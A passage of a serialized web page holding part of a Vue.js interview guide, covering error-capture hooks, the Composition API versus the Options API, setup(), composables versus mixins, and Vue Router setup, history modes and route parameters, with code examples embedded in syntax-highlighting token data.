",[132,12019,216],{"class":209},[132,12021,219],{"class":165},[132,12023,12024],{"class":134,"line":176},[132,12025,190],{"emptyLinePlaceholder":189},[132,12027,12028,12030,12033,12035,12037,12039,12041],{"class":134,"line":186},[132,12029,230],{"class":209},[132,12031,12032],{"class":233}," error",[132,12034,237],{"class":209},[132,12036,240],{"class":158},[132,12038,243],{"class":138},[132,12040,719],{"class":233},[132,12042,249],{"class":138},[132,12044,12045],{"class":134,"line":193},[132,12046,190],{"emptyLinePlaceholder":189},[132,12048,12049,12051,12053,12056,12058,12061,12063,12066,12068,12070],{"class":134,"line":206},[132,12050,11233],{"class":158},[132,12052,6351],{"class":138},[132,12054,12055],{"class":697},"err",[132,12057,581],{"class":138},[132,12059,12060],{"class":697},"instance",[132,12062,581],{"class":138},[132,12064,12065],{"class":697},"info",[132,12067,5284],{"class":138},[132,12069,2662],{"class":209},[132,12071,316],{"class":138},[132,12073,12074,12077,12079],{"class":134,"line":222},[132,12075,12076],{"class":138},"    error.value ",[132,12078,162],{"class":209},[132,12080,12081],{"class":138}," err.message\n",[132,12083,12084,12086,12089],{"class":134,"line":227},[132,12085,706],{"class":209},[132,12087,12088],{"class":233}," false",[132,12090,12091],{"class":397},"   // stop the error from propagating further up\n",[132,12093,12094],{"class":134,"line":252},[132,12095,3156],{"class":138},[132,12097,12098,12100,12102],{"class":134,"line":257},[132,12099,179],{"class":138},[132,12101,198],{"class":142},[132,12103,146],{"class":138},[132,12105,12106],{"class":134,"line":269},[132,12107,190],{"emptyLinePlaceholder":189},[132,12109,12110,12112,12114],{"class":134,"line":278},[132,12111,139],{"class":138},[132,12113,143],{"class":142},[132,12115,146],{"class":138},[132,12117,12118,12120,12122,12124,12126,12129,12132,12134],{"class":134,"line":284},[132,12119,152],{"class":138},[132,12121,11],{"class":142},[132,12123,1388],{"class":158},[132,12125,162],{"class":138},[132,12127,12128],{"class":165},"\"error\"",[132,12130,12131],{"class":138},">Something went wrong: {{ error }}\u003C/",[132,12133,11],{"class":142},[132,12135,146],{"class":138},[132,12137,12138,12140,12142,12145,12147,12149],{"class":134,"line":293},[132,12139,152],{"class":138},[132,12141,9022],{"class":142},[132,12143,12144],{"class":158}," v-else",[132,12146,1767],{"class":138},[132,12148,9022],{"class":142},[132,12150,146],{"class":138},[132,12152,12153,12155,12157],{"class":134,"line":298},[132,12154,179],{"class":138},[132,12156,143],{"class":142},[132,12158,146],{"class":138},[11,12160,12161,12162,12164,12165,12168,12169,12171,12172,12175,12176,12178,12179,12182],{},"The callback receives the error itself, the component instance where it occurred, and a string describing the source (",[18,12163,12065],{},", such as ",[18,12166,12167],{},"\"render function\""," or a lifecycle hook name). Returning ",[18,12170,4614],{}," from the hook stops the error from bubbling up further and prevents it from also being sent to the app-level ",[18,12173,12174],{},"app.config.errorHandler","; returning nothing (or ",[18,12177,1853],{},") lets it continue propagating. This is the building block for a reusable ",[18,12180,12181],{},"ErrorBoundary","-style wrapper component in Vue.",[34,12184,12186,12187,1334,12189,12191],{"id":12185},"_84-why-doesnt-the-composition-api-have-beforecreate-or-created-hooks","84. Why doesn't the Composition API have ",[18,12188,11101],{},[18,12190,11116],{}," hooks?",[11,12193,12194,12195,592,12197,12199,12200,581,12202,626,12204,12206,12207,12209,12210,12212],{},"In the Options API, ",[18,12196,11101],{},[18,12198,11116],{}," exist to mark two points around Vue's internal setup of ",[18,12201,622],{},[18,12203,629],{},[18,12205,625],{},", since those are defined declaratively as object options and Vue has to process them before they exist. The Composition API does not need that distinction, because in ",[18,12208,968],{}," (or the top level of ",[18,12211,20],{},"), your code runs immediately and synchronously as the component instance is being created; there is no separate \"options processing\" step to wait for.",[123,12214,12216],{"className":125,"code":12215,"language":127,"meta":128,"style":128},"\u003Cscript setup>\n// this code itself runs at the point where\n// beforeCreate/created would have fired\nimport { ref } from 'vue'\n\nconst count = ref(0)\nconsole.log('this runs immediately, no hook needed')\n\u003C/script>\n",[18,12217,12218,12228,12233,12238,12248,12252,12268,12281],{"__ignoreMap":128},[132,12219,12220,12222,12224,12226],{"class":134,"line":135},[132,12221,139],{"class":138},[132,12223,198],{"class":142},[132,12225,201],{"class":158},[132,12227,146],{"class":138},[132,12229,12230],{"class":134,"line":149},[132,12231,12232],{"class":397},"// this code itself runs at the point where\n",[132,12234,12235],{"class":134,"line":176},[132,12236,12237],{"class":397},"// beforeCreate/created would have fired\n",[132,12239,12240,12242,12244,12246],{"class":134,"line":186},[132,12241,210],{"class":209},[132,12243,213],{"class":138},[132,12245,216],{"class":209},[132,12247,219],{"class":165},[132,12249,12250],{"class":134,"line":193},[132,12251,190],{"emptyLinePlaceholder":189},[132,12253,12254,12256,12258,12260,12262,12264,12266],{"class":134,"line":206},[132,12255,230],{"class":209},[132,12257,234],{"class":233},[132,12259,237],{"class":209},[132,12261,240],{"class":158},[132,12263,243],{"class":138},[132,12265,246],{"class":233},[132,12267,249],{"class":138},[132,12269,12270,12272,12274,12276,12279],{"class":134,"line":222},[132,12271,3889],{"class":138},[132,12273,3143],{"class":158},[132,12275,243],{"class":138},[132,12277,12278],{"class":165},"'this runs immediately, no hook needed'",[132,12280,249],{"class":138},[132,12282,12283,12285,12287],{"class":134,"line":227},[132,12284,179],{"class":138},[132,12286,198],{"class":142},[132,12288,146],{"class":138},[11,12290,12291,12292,1334,12294,12296,12297,12299,12300,12302,12303,4319,12305,12307],{},"Anything you would have put in ",[18,12293,11101],{},[18,12295,11116],{}," (initializing reactive state, calling an API on load, setting up computed values) just becomes regular top-level code in ",[18,12298,20],{},". If you genuinely need to run something after the DOM exists, ",[18,12301,10789],{}," is still there for that; ",[18,12304,11101],{},[18,12306,11116],{}," are simply redundant once your setup code already runs at that exact point in the component's life by default.",[29,12309,12311],{"id":12310},"composition-api-vs-options-api","Composition API vs Options API",[34,12313,12315],{"id":12314},"_85-what-is-the-composition-api-and-why-was-it-introduced-alongside-the-options-api","85. What is the Composition API, and why was it introduced alongside the Options API?",[11,12317,12318,12319,581,12321,581,12323,581,12325,12327,12328,12330,12331,581,12333,626,12335,12337],{},"The Composition API is a set of functions (",[18,12320,1004],{},[18,12322,3999],{},[18,12324,629],{},[18,12326,5029],{},", lifecycle hooks like ",[18,12329,10789],{},", and so on) that you import and call to build a component's logic, instead of declaring it as fixed options on an object. It was added in Vue 3, alongside the original Options API, to solve two problems that grew as components got bigger: logic that belonged together (a search feature's state, computed values, and watchers) ended up scattered across separate ",[18,12332,622],{},[18,12334,629],{},[18,12336,625],{}," blocks, and reusing that logic across components required mixins, which had their own downsides.",[11,12339,12340],{},"It was kept alongside the Options API rather than replacing it because the Options API is still easier to learn for beginners and is perfectly fine for small, simple components. Vue 3 lets you mix both styles in the same project, and even in the same component in some cases, though most codebases pick one style and stay consistent.",[34,12342,12344],{"id":12343},"_86-what-are-the-main-practical-differences-between-the-composition-api-and-the-options-api","86. What are the main practical differences between the Composition API and the Options API?",[11,12346,12347,12348,12350,12351,12353],{},"The core difference is how you organize code: the Options API organizes by option type (all data together, all methods together, all computed properties together), while the Composition API organizes by logical concern (everything related to one feature lives together, usually inside a ",[18,12349,968],{}," function or a ",[18,12352,20],{}," block).",[479,12355,12356,12366],{},[482,12357,12358],{},[485,12359,12360,12362,12364],{},[488,12361],{},[488,12363,11087],{},[488,12365,92],{},[498,12367,12368,12385,12396,12408,12419,12430],{},[485,12369,12370,12373,12382],{},[503,12371,12372],{},"Organization",[503,12374,12375,12376,581,12378,581,12380,3335],{},"Grouped by option (",[18,12377,622],{},[18,12379,625],{},[18,12381,629],{},[503,12383,12384],{},"Grouped by feature/concern",[485,12386,12387,12390,12393],{},[503,12388,12389],{},"Code reuse",[503,12391,12392],{},"Mixins (implicit, can clash)",[503,12394,12395],{},"Composables (explicit imports)",[485,12397,12398,12402,12405],{},[503,12399,12400],{},[18,12401,8604],{},[503,12403,12404],{},"Central to accessing state and methods",[503,12406,12407],{},"Not used; state accessed via variables/closures",[485,12409,12410,12413,12416],{},[503,12411,12412],{},"TypeScript inference",[503,12414,12415],{},"Weaker, needs extra typing helpers",[503,12417,12418],{},"Strong, works naturally with plain functions",[485,12420,12421,12424,12427],{},[503,12422,12423],{},"Bundle size",[503,12425,12426],{},"Slightly larger for tiny components",[503,12428,12429],{},"Better tree-shaking for larger apps",[485,12431,12432,12435,12438],{},[503,12433,12434],{},"Learning curve",[503,12436,12437],{},"Gentler for beginners",[503,12439,12440],{},"Steeper at first, pays off at scale",[11,12442,12443,12444,12446,12447,12449],{},"In practice, a small form component with a handful of fields reads fine either way. A dashboard component with data fetching, filters, pagination, and websockets gets much easier to follow with the Composition API, because you can read top to bottom and see \"here is everything related to pagination\" instead of jumping between four different option blocks. ",[18,12445,20],{}," is the recommended way to write the Composition API today; it is compiler sugar over a ",[18,12448,968],{}," function that removes most of the boilerplate.",[34,12451,12453,12454,12456],{"id":12452},"_87-what-is-the-setup-function-and-what-arguments-does-it-receive","87. What is the ",[18,12455,968],{}," function, and what arguments does it receive?",[11,12458,12459,12461,12462,581,12464,12466],{},[18,12460,968],{}," is the entry point for the Composition API. It runs once, before the component instance is fully created, before ",[18,12463,622],{},[18,12465,629],{},", and other Options API properties are resolved. Anything you return from it (state, computed values, functions) becomes available to the template.",[11,12468,12469,12470,12472,12473,12475,12476,12479,12480,581,12483,581,12485,626,12487,385],{},"It receives two arguments: ",[18,12471,4310],{},", a reactive object of the resolved props (you should not destructure it directly, since that breaks reactivity, unless you wrap it in ",[18,12474,3802],{},"), and ",[18,12477,12478],{},"context",", a plain object exposing ",[18,12481,12482],{},"attrs",[18,12484,10009],{},[18,12486,7080],{},[18,12488,12489],{},"expose",[123,12491,12493],{"className":388,"code":12492,"language":390,"meta":128,"style":128},"export default {\n    props: {\n        title: String\n    },\n    setup(props, { emit, attrs }) {\n        function save() {\n            emit('save', props.title)\n        }\n\n        return {\n            save\n        }\n    }\n}\n",[18,12494,12495,12503,12507,12512,12516,12536,12545,12558,12562,12566,12572,12577,12581,12585],{"__ignoreMap":128},[132,12496,12497,12499,12501],{"class":134,"line":135},[132,12498,807],{"class":209},[132,12500,810],{"class":209},[132,12502,316],{"class":138},[132,12504,12505],{"class":134,"line":149},[132,12506,6955],{"class":138},[132,12508,12509],{"class":134,"line":176},[132,12510,12511],{"class":138},"        title: String\n",[132,12513,12514],{"class":134,"line":186},[132,12515,5830],{"class":138},[132,12517,12518,12520,12522,12524,12527,12529,12531,12533],{"class":134,"line":193},[132,12519,817],{"class":158},[132,12521,243],{"class":138},[132,12523,4310],{"class":697},[132,12525,12526],{"class":138},", { ",[132,12528,7080],{"class":697},[132,12530,581],{"class":138},[132,12532,12482],{"class":697},[132,12534,12535],{"class":138}," }) {\n",[132,12537,12538,12540,12543],{"class":134,"line":206},[132,12539,841],{"class":209},[132,12541,12542],{"class":158}," save",[132,12544,266],{"class":138},[132,12546,12547,12550,12552,12555],{"class":134,"line":222},[132,12548,12549],{"class":158},"            emit",[132,12551,243],{"class":138},[132,12553,12554],{"class":165},"'save'",[132,12556,12557],{"class":138},", props.title)\n",[132,12559,12560],{"class":134,"line":227},[132,12561,857],{"class":138},[132,12563,12564],{"class":134,"line":252},[132,12565,190],{"emptyLinePlaceholder":189},[132,12567,12568,12570],{"class":134,"line":257},[132,12569,862],{"class":209},[132,12571,316],{"class":138},[132,12573,12574],{"class":134,"line":269},[132,12575,12576],{"class":138},"            save\n",[132,12578,12579],{"class":134,"line":278},[132,12580,857],{"class":138},[132,12582,12583],{"class":134,"line":284},[132,12584,870],{"class":138},[132,12586,12587],{"class":134,"line":293},[132,12588,281],{"class":138},[11,12590,12591,12593,12594,12596,12597,12600,12601,12604,12605,12607],{},[18,12592,20],{}," is compiled into a ",[18,12595,968],{}," function like this behind the scenes, with props declared via ",[18,12598,12599],{},"defineProps()"," and emits via ",[18,12602,12603],{},"defineEmits()",", so you rarely write ",[18,12606,968],{}," by hand in modern Vue code.",[34,12609,12611,12612,12614,12615,1334,12617,1349],{"id":12610},"_88-why-is-there-no-this-inside-setup-or-script-setup","88. Why is there no ",[18,12613,8604],{}," inside ",[18,12616,968],{},[18,12618,20],{},[11,12620,12621,12623,12624,12626,12627,12629,12630,12632,12633,12635,12636,12638,12639,12641],{},[18,12622,968],{}," runs before the component instance is fully constructed, so at that point there is no finished instance for ",[18,12625,8604],{}," to point to; Vue calls ",[18,12628,968],{}," with ",[18,12631,8604],{}," set to ",[18,12634,8597],{}," on purpose so nobody accidentally relies on it. Instead, the Composition API gives you plain variables and closures: a ",[18,12637,1004],{}," you create inside ",[18,12640,968],{}," is just a JavaScript variable you close over, not a property looked up on an instance at render time.",[11,12643,12644,12645,12648,12649,12651,12652,12654,12655,12657],{},"This also makes composables possible. A composable function like ",[18,12646,12647],{},"useMouse()"," can be called from anywhere, not just inside a component, because it never depends on a ",[18,12650,8604],{}," binding to a specific component instance. It also sidesteps a classic Options API gotcha where ",[18,12653,8604],{}," inside a regular (non-arrow) callback function loses its binding to the component. With no ",[18,12656,8604],{}," to lose, that whole category of bug disappears.",[34,12659,12661],{"id":12660},"_89-what-are-composables-and-how-do-they-solve-problems-that-vue-2-mixins-had","89. What are composables, and how do they solve problems that Vue 2 mixins had?",[11,12663,12664,12665,12668],{},"A composable is a plain JavaScript function, conventionally named ",[18,12666,12667],{},"useSomething",", that uses Composition API functions internally and returns reactive state and behavior for a component to consume. It is the Composition API's answer to \"how do I reuse stateful logic across components.\"",[123,12670,12672],{"className":388,"code":12671,"language":390,"meta":128,"style":128},"// useMouse.js\nimport { ref, onMounted, onUnmounted } from 'vue'\n\nexport function useMouse() {\n    const x = ref(0)\n    const y = ref(0)\n\n    function update(event) {\n        x.value = event.pageX\n        y.value = event.pageY\n    }\n\n    onMounted(() => window.addEventListener('mousemove', update))\n    onUnmounted(() => window.removeEventListener('mousemove', update))\n\n    return { x, y }\n}\n",[18,12673,12674,12679,12690,12694,12705,12722,12739,12743,12757,12767,12777,12781,12785,12808,12828,12832,12839],{"__ignoreMap":128},[132,12675,12676],{"class":134,"line":135},[132,12677,12678],{"class":397},"// useMouse.js\n",[132,12680,12681,12683,12686,12688],{"class":134,"line":149},[132,12682,210],{"class":209},[132,12684,12685],{"class":138}," { ref, onMounted, onUnmounted } ",[132,12687,216],{"class":209},[132,12689,219],{"class":165},[132,12691,12692],{"class":134,"line":176},[132,12693,190],{"emptyLinePlaceholder":189},[132,12695,12696,12698,12700,12703],{"class":134,"line":186},[132,12697,807],{"class":209},[132,12699,4920],{"class":209},[132,12701,12702],{"class":158}," useMouse",[132,12704,266],{"class":138},[132,12706,12707,12709,12712,12714,12716,12718,12720],{"class":134,"line":193},[132,12708,4242],{"class":209},[132,12710,12711],{"class":233}," x",[132,12713,237],{"class":209},[132,12715,240],{"class":158},[132,12717,243],{"class":138},[132,12719,246],{"class":233},[132,12721,249],{"class":138},[132,12723,12724,12726,12729,12731,12733,12735,12737],{"class":134,"line":206},[132,12725,4242],{"class":209},[132,12727,12728],{"class":233}," y",[132,12730,237],{"class":209},[132,12732,240],{"class":158},[132,12734,243],{"class":138},[132,12736,246],{"class":233},[132,12738,249],{"class":138},[132,12740,12741],{"class":134,"line":222},[132,12742,190],{"emptyLinePlaceholder":189},[132,12744,12745,12747,12750,12752,12755],{"class":134,"line":227},[132,12746,4259],{"class":209},[132,12748,12749],{"class":158}," update",[132,12751,243],{"class":138},[132,12753,12754],{"class":697},"event",[132,12756,701],{"class":138},[132,12758,12759,12762,12764],{"class":134,"line":252},[132,12760,12761],{"class":138},"        x.value ",[132,12763,162],{"class":209},[132,12765,12766],{"class":138}," event.pageX\n",[132,12768,12769,12772,12774],{"class":134,"line":257},[132,12770,12771],{"class":138},"        y.value ",[132,12773,162],{"class":209},[132,12775,12776],{"class":138}," event.pageY\n",[132,12778,12779],{"class":134,"line":269},[132,12780,870],{"class":138},[132,12782,12783],{"class":134,"line":278},[132,12784,190],{"emptyLinePlaceholder":189},[132,12786,12787,12790,12792,12794,12797,12800,12802,12805],{"class":134,"line":284},[132,12788,12789],{"class":158},"    onMounted",[132,12791,2659],{"class":138},[132,12793,2662],{"class":209},[132,12795,12796],{"class":138}," window.",[132,12798,12799],{"class":158},"addEventListener",[132,12801,243],{"class":138},[132,12803,12804],{"class":165},"'mousemove'",[132,12806,12807],{"class":138},", update))\n",[132,12809,12810,12813,12815,12817,12819,12822,12824,12826],{"class":134,"line":293},[132,12811,12812],{"class":158},"    onUnmounted",[132,12814,2659],{"class":138},[132,12816,2662],{"class":209},[132,12818,12796],{"class":138},[132,12820,12821],{"class":158},"removeEventListener",[132,12823,243],{"class":138},[132,12825,12804],{"class":165},[132,12827,12807],{"class":138},[132,12829,12830],{"class":134,"line":298},[132,12831,190],{"emptyLinePlaceholder":189},[132,12833,12834,12836],{"class":134,"line":311},[132,12835,706],{"class":209},[132,12837,12838],{"class":138}," { x, y }\n",[132,12840,12841],{"class":134,"line":319},[132,12842,281],{"class":138},[123,12844,12846],{"className":125,"code":12845,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { useMouse } from './useMouse'\n\nconst { x, y } = useMouse()\n\u003C/script>\n",[18,12847,12848,12858,12870,12874,12895],{"__ignoreMap":128},[132,12849,12850,12852,12854,12856],{"class":134,"line":135},[132,12851,139],{"class":138},[132,12853,198],{"class":142},[132,12855,201],{"class":158},[132,12857,146],{"class":138},[132,12859,12860,12862,12865,12867],{"class":134,"line":149},[132,12861,210],{"class":209},[132,12863,12864],{"class":138}," { useMouse } ",[132,12866,216],{"class":209},[132,12868,12869],{"class":165}," './useMouse'\n",[132,12871,12872],{"class":134,"line":176},[132,12873,190],{"emptyLinePlaceholder":189},[132,12875,12876,12878,12880,12882,12884,12887,12889,12891,12893],{"class":134,"line":186},[132,12877,230],{"class":209},[132,12879,3858],{"class":138},[132,12881,4668],{"class":233},[132,12883,581],{"class":138},[132,12885,12886],{"class":233},"y",[132,12888,3869],{"class":138},[132,12890,162],{"class":209},[132,12892,12702],{"class":158},[132,12894,4951],{"class":138},[132,12896,12897,12899,12901],{"class":134,"line":193},[132,12898,179],{"class":138},[132,12900,198],{"class":142},[132,12902,146],{"class":138},[11,12904,12905,12906,12908,12909,12911],{},"Vue 2 mixins had two well-known problems. First, source ambiguity: if a component used two mixins and both defined a ",[18,12907,622],{}," property called ",[18,12910,8825],{},", it was not obvious at a glance which one \"won\" or where a property in the template actually came from. Second, implicit merging: mixin options got silently merged into the component's options, so adding a second mixin could quietly break the first one if their properties collided.",[11,12913,12914,12915,12918,12919,12922],{},"Composables avoid both. Everything a composable exposes comes back through an explicit return value that you destructure by hand (",[18,12916,12917],{},"const { x, y } = useMouse()","), so there is no merging and no guessing; you can even rename on the way in (",[18,12920,12921],{},"const { x: mouseX } = useMouse()",") if two composables would otherwise clash.",[34,12924,12926],{"id":12925},"_90-what-are-the-rules-of-thumb-for-writing-a-good-composable","90. What are the rules of thumb for writing a good composable?",[56,12928,12929,12938,12950,12959,12970,12980],{},[59,12930,12931,12937],{},[62,12932,12933,12934,385],{},"Name it ",[18,12935,12936],{},"useX"," This is a strong convention in the Vue ecosystem and instantly signals \"this function uses reactivity and probably has lifecycle behavior.\"",[59,12939,12940,12943,12944,12946,12947,12949],{},[62,12941,12942],{},"Return refs, not a single reactive object",", when the caller needs to destructure the result. Destructuring a ",[18,12945,3071],{}," object loses reactivity; returning individual ",[18,12948,1004],{},"s (or an object of refs) keeps it intact.",[59,12951,12952,12955,12956,12958],{},[62,12953,12954],{},"Accept refs or plain values as arguments",", and normalize with ",[18,12957,4737],{}," internally, so callers can pass either a static value or a reactive one without extra ceremony.",[59,12960,12961,12964,12965,12967,12968,385],{},[62,12962,12963],{},"Clean up after yourself."," If a composable adds an event listener, opens a websocket, or starts a timer in ",[18,12966,10789],{},", it should remove it in ",[18,12969,11209],{},[59,12971,12972,12975,12976,12979],{},[62,12973,12974],{},"Keep it focused on one concern."," A ",[18,12977,12978],{},"useFetch"," composable should fetch data; it should not also manage form validation. Small composables compose well together, large ones become mixins in disguise.",[59,12981,12982,12985,12986,12989,12990,12992],{},[62,12983,12984],{},"Avoid relying on being called in a specific component lifecycle phase"," unless documented; some composables (like a simple ",[18,12987,12988],{},"useLocalStorage",") work fine outside ",[18,12991,968],{},", others need to run during component setup because they register lifecycle hooks.",[29,12994,12996],{"id":12995},"vue-router","Vue Router",[34,12998,13000],{"id":12999},"_91-what-is-vue-router-and-how-do-you-set-it-up-in-an-application","91. What is Vue Router, and how do you set it up in an application?",[11,13002,13003],{},"Vue Router is the official routing library for Vue. It maps URL paths to components so a Vue app can behave like a multi-page site while staying a single-page application: navigating between routes swaps components in and out without a full browser reload.",[11,13005,13006,13007,13010],{},"Setup has three parts: define an array of routes (each one a path paired with a component), create a router instance with ",[18,13008,13009],{},"createRouter",", and install it on the app.",[123,13012,13014],{"className":388,"code":13013,"language":390,"meta":128,"style":128},"// router.js\nimport { createRouter, createWebHistory } from 'vue-router'\nimport Home from './views/Home.vue'\nimport About from './views/About.vue'\n\nconst routes = [\n    { path: '/', component: Home },\n    { path: '/about', component: About }\n]\n\nconst router = createRouter({\n    history: createWebHistory(),\n    routes\n})\n\nexport default router\n",[18,13015,13016,13021,13033,13045,13057,13061,13073,13084,13094,13098,13102,13116,13127,13132,13136,13140],{"__ignoreMap":128},[132,13017,13018],{"class":134,"line":135},[132,13019,13020],{"class":397},"// router.js\n",[132,13022,13023,13025,13028,13030],{"class":134,"line":149},[132,13024,210],{"class":209},[132,13026,13027],{"class":138}," { createRouter, createWebHistory } ",[132,13029,216],{"class":209},[132,13031,13032],{"class":165}," 'vue-router'\n",[132,13034,13035,13037,13040,13042],{"class":134,"line":176},[132,13036,210],{"class":209},[132,13038,13039],{"class":138}," Home ",[132,13041,216],{"class":209},[132,13043,13044],{"class":165}," './views/Home.vue'\n",[132,13046,13047,13049,13052,13054],{"class":134,"line":186},[132,13048,210],{"class":209},[132,13050,13051],{"class":138}," About ",[132,13053,216],{"class":209},[132,13055,13056],{"class":165}," './views/About.vue'\n",[132,13058,13059],{"class":134,"line":193},[132,13060,190],{"emptyLinePlaceholder":189},[132,13062,13063,13065,13068,13070],{"class":134,"line":206},[132,13064,230],{"class":209},[132,13066,13067],{"class":233}," routes",[132,13069,237],{"class":209},[132,13071,13072],{"class":138}," [\n",[132,13074,13075,13078,13081],{"class":134,"line":222},[132,13076,13077],{"class":138},"    { path: ",[132,13079,13080],{"class":165},"'/'",[132,13082,13083],{"class":138},", component: Home },\n",[132,13085,13086,13088,13091],{"class":134,"line":227},[132,13087,13077],{"class":138},[132,13089,13090],{"class":165},"'/about'",[132,13092,13093],{"class":138},", component: About }\n",[132,13095,13096],{"class":134,"line":252},[132,13097,8852],{"class":138},[132,13099,13100],{"class":134,"line":257},[132,13101,190],{"emptyLinePlaceholder":189},[132,13103,13104,13106,13109,13111,13114],{"class":134,"line":269},[132,13105,230],{"class":209},[132,13107,13108],{"class":233}," router",[132,13110,237],{"class":209},[132,13112,13113],{"class":158}," createRouter",[132,13115,4542],{"class":138},[132,13117,13118,13121,13124],{"class":134,"line":278},[132,13119,13120],{"class":138},"    history: ",[132,13122,13123],{"class":158},"createWebHistory",[132,13125,13126],{"class":138},"(),\n",[132,13128,13129],{"class":134,"line":284},[132,13130,13131],{"class":138},"    routes\n",[132,13133,13134],{"class":134,"line":293},[132,13135,3156],{"class":138},[132,13137,13138],{"class":134,"line":298},[132,13139,190],{"emptyLinePlaceholder":189},[132,13141,13142,13144,13146],{"class":134,"line":311},[132,13143,807],{"class":209},[132,13145,810],{"class":209},[132,13147,13148],{"class":138}," router\n",[123,13150,13152],{"className":388,"code":13151,"language":390,"meta":128,"style":128},"// main.js\nimport { createApp } from 'vue'\nimport App from './App.vue'\nimport router from './router'\n\ncreateApp(App).use(router).mount('#app')\n",[18,13153,13154,13158,13168,13178,13190,13194],{"__ignoreMap":128},[132,13155,13156],{"class":134,"line":135},[132,13157,398],{"class":397},[132,13159,13160,13162,13164,13166],{"class":134,"line":149},[132,13161,210],{"class":209},[132,13163,405],{"class":138},[132,13165,216],{"class":209},[132,13167,219],{"class":165},[132,13169,13170,13172,13174,13176],{"class":134,"line":176},[132,13171,210],{"class":209},[132,13173,416],{"class":138},[132,13175,216],{"class":209},[132,13177,421],{"class":165},[132,13179,13180,13182,13185,13187],{"class":134,"line":186},[132,13181,210],{"class":209},[132,13183,13184],{"class":138}," router ",[132,13186,216],{"class":209},[132,13188,13189],{"class":165}," './router'\n",[132,13191,13192],{"class":134,"line":193},[132,13193,190],{"emptyLinePlaceholder":189},[132,13195,13196,13198,13201,13204,13207,13209,13211,13213],{"class":134,"line":206},[132,13197,375],{"class":158},[132,13199,13200],{"class":138},"(App).",[132,13202,13203],{"class":158},"use",[132,13205,13206],{"class":138},"(router).",[132,13208,452],{"class":158},[132,13210,243],{"class":138},[132,13212,457],{"class":165},[132,13214,249],{"class":138},[11,13216,13217,13218,13221,13222,13225],{},"Finally, add a ",[18,13219,13220],{},"\u003Crouter-view />"," somewhere in ",[18,13223,13224],{},"App.vue","; that is where the component matching the current route gets rendered.",[34,13227,13229],{"id":13228},"_92-what-is-the-difference-between-hash-mode-and-history-mode-routing","92. What is the difference between hash mode and history mode routing?",[11,13231,13232,13233,13236,13237,385],{},"Both are ways Vue Router keeps the URL in sync with the current view, and both are configured through the ",[18,13234,13235],{},"history"," option passed to ",[18,13238,13009],{},[11,13240,13241,13244,13245,13247,13248,13251,13252,13255,13256,13258],{},[18,13242,13243],{},"createWebHashHistory()"," puts the route after a ",[18,13246,9660],{},", like ",[18,13249,13250],{},"example.com/#/about",". Everything after the hash is never sent to the server, so the server only ever needs to serve one file (",[18,13253,13254],{},"index.html","); the browser handles the rest. This makes it trivial to deploy anywhere, including a plain static file host with no routing config, but the URLs look less clean and the ",[18,13257,9660],{}," historically interfered with anchor-link scrolling and some SEO tooling.",[11,13260,13261,13264,13265,13268,13269,13271,13272,13275,13276,13278],{},[18,13262,13263],{},"createWebHistory()"," uses the browser's native History API to produce clean URLs, like ",[18,13266,13267],{},"example.com/about",". This looks and behaves like a normal server-rendered site, but it requires the server (or CDN/edge config) to be set up to return ",[18,13270,13254],{}," for any unmatched path; otherwise, refreshing the page on ",[18,13273,13274],{},"/about"," sends a real request to ",[18,13277,13274],{},", which returns a 404 because no such file exists on the server.",[11,13280,13281],{},"For most modern deployments (Vercel, Netlify, Cloudflare Pages, etc.) history mode is the default choice since these platforms make the fallback rewrite easy to configure; hash mode is mostly a fallback for hosts where you cannot control server-side routing at all.",[34,13283,13285],{"id":13284},"_93-what-are-dynamic-route-parameters-and-how-do-you-read-them-in-a-component","93. What are dynamic route parameters, and how do you read them in a component?",[11,13287,13288,13289,13292,13293,581,13296,13299,13300,13302],{},"A dynamic route parameter is a named segment of a path, written with a colon, that matches a variable value instead of a fixed string. ",[18,13290,13291],{},"/users/:id"," matches ",[18,13294,13295],{},"/users/1",[18,13297,13298],{},"/users/42",", and so on, with ",[18,13301,1658],{}," captured as a parameter.",[123,13304,13306],{"className":388,"code":13305,"language":390,"meta":128,"style":128},"const routes = [\n    { path: '/users/:id', component: UserProfile }\n]\n",[18,13307,13308,13318,13328],{"__ignoreMap":128},[132,13309,13310,13312,13314,13316],{"class":134,"line":135},[132,13311,230],{"class":209},[132,13313,13067],{"class":233},[132,13315,237],{"class":209},[132,13317,13072],{"class":138},[132,13319,13320,13322,13325],{"class":134,"line":149},[132,13321,13077],{"class":138},[132,13323,13324],{"class":165},"'/users/:id'",[132,13326,13327],{"class":138},", component: UserProfile }\n",[132,13329,13330],{"class":134,"line":176},[132,13331,8852],{"class":138},[11,13333,13334,13335,1224],{},"Inside a component, you read it with ",[18,13336,13337],{},"useRoute()",[123,13339,13341],{"className":125,"code":13340,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { useRoute } from 'vue-router'\nimport { watch } from 'vue'\n\nconst route = useRoute()\n\nconsole.log(route.params.id)\n\nwatch(() => route.params.id, (newId) => {\n    // re-fetch data because the component instance is reused\n    // when only the param changes, not re-created\n})\n\u003C/script>\n",[18,13342,13343,13353,13364,13375,13379,13393,13397,13406,13410,13429,13434,13439,13443],{"__ignoreMap":128},[132,13344,13345,13347,13349,13351],{"class":134,"line":135},[132,13346,139],{"class":138},[132,13348,198],{"class":142},[132,13350,201],{"class":158},[132,13352,146],{"class":138},[132,13354,13355,13357,13360,13362],{"class":134,"line":149},[132,13356,210],{"class":209},[132,13358,13359],{"class":138}," { useRoute } ",[132,13361,216],{"class":209},[132,13363,13032],{"class":165},[132,13365,13366,13368,13371,13373],{"class":134,"line":176},[132,13367,210],{"class":209},[132,13369,13370],{"class":138}," { watch } ",[132,13372,216],{"class":209},[132,13374,219],{"class":165},[132,13376,13377],{"class":134,"line":186},[132,13378,190],{"emptyLinePlaceholder":189},[132,13380,13381,13383,13386,13388,13391],{"class":134,"line":193},[132,13382,230],{"class":209},[132,13384,13385],{"class":233}," route",[132,13387,237],{"class":209},[132,13389,13390],{"class":158}," useRoute",[132,13392,4951],{"class":138},[132,13394,13395],{"class":134,"line":206},[132,13396,190],{"emptyLinePlaceholder":189},[132,13398,13399,13401,13403],{"class":134,"line":222},[132,13400,3889],{"class":138},[132,13402,3143],{"class":158},[132,13404,13405],{"class":138},"(route.params.id)\n",[132,13407,13408],{"class":134,"line":227},[132,13409,190],{"emptyLinePlaceholder":189},[132,13411,13412,13414,13416,13418,13421,13423,13425,13427],{"class":134,"line":252},[132,13413,5029],{"class":158},[132,13415,2659],{"class":138},[132,13417,2662],{"class":209},[132,13419,13420],{"class":138}," route.params.id, 